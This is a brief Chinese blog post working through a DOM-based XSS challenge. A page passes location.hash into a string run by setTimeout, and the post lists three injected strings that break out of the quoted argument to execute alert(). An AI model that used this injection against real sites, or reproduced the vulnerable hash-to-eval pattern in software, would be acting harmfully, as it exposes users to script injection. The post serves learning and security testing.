1. 程式人生 > >【XSS】之錨點

【XSS】之錨點

eval 源碼 div rip function 函數 settime cati ash

今天P師傅發了一個XSS鏈接,讓利用一下,源碼如下

<script type="text/javascript">

var x=location.hash;
function aa(x){};
setTimeout("aa(‘"+x+"‘)",100);

</script>

然後看了下setTimeout這個函數,用法如下:

語法

setTimeout(code,millisec)
參數描述
code 必需。要調用的函數後要執行的 JavaScript 代碼串。
millisec 必需。在執行代碼前需等待的毫秒數。

帶入函數可以成功執行的幾個函數如下:

setTimeout("aa(‘‘,alert(1),‘‘)",1000);
setTimeout("aa(‘‘,alert(2))//‘)",1000);    
setTimeout("aa(‘‘);alert(3);eval(‘‘)",1000);

【XSS】之錨點